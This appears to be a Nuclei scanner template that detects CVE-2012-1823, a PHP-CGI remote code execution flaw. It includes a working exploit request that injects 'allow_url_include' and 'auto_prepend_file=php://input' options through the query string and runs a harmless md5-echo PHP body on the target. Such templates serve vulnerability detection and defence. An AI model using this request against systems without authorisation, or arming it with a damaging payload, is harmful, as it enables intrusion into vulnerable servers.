PHP CGI v5.3.12/5.4.2 Remote Code Execution

id: CVE-2012-1823

info:
  name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
  impact: |
    Remote code execution
  remediation: |
    Upgrade to a patched version of PHP or apply the necessary security patches.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1823
    - https://bugs.php.net/bug.php?id=61910
    - http://www.php.net/ChangeLog-5.php#5.4.2
    - http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2012-1823
    cwe-id: CWE-20
    epss-score: 0.97491
    epss-percentile: 0.99972
    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: php
    product: php
  tags: cve,cve2012,kev,vulhub,rce,php

variables:
  string: "CVE-2012-1823"

http:
  - raw:
      - |
        POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <?php echo md5("{{string}}");?>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'
# digest: 490a0046304402201ac0c2b72933df8c0fb7ef1c5a6a19a79cd40e76379881895be285e80251e69102203260f22d356f293b8ba1f047f27246d4f8c53067e6d42af2772d64392ea8fa07:922c64590222798bb761d5b6d8e72950